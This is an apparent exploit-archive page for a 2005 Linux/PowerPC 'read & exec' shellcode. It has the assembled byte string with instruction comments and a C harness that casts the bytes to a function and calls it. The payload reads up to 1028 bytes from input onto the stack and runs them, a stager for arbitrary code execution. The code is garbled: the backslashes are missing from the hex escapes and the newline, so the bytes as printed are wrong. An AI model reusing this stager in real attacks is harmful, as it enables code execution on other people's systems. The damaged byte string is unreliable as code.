[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/ppc read & exec shellcode 32 bytes
# Published : 2005-11-09
# Author : Charles Stevenson
# Previous Title : linux/ppc execve /bin/sh 60 bytes
# Next Title : linux/ppc connect back execve /bin/sh 240 bytes
/* readnexecppc-core.c by Charles Stevenson <core@bokeoa.com> */
char hellcode[] = /* read(0,stack,1028); stack(); linux/ppc by core */
"x7cx63x1ax79" /* xor. r3,r3,r3 */
"x38xa0x04x04" /* li r5,1028 */
"x30x05xfbxff" /* addic r0,r5,-1025 */
"x7cx24x0bx78" /* mr r4,r1 */
"x44xdexadxf2" /* sc */
"x69x69x69x69" /* nop */
"x7cx29x03xa6" /* mtctr r1 */
"x4ex80x04x21"; /* bctrl */
int main(void)
{
void (*shell)() = (void *)&hellcode;
printf("%d byte read & exec shellcode for linux/ppc by coren",
strlen(hellcode));
shell();
return 0;
}
// www.Syue.com [2005-11-09]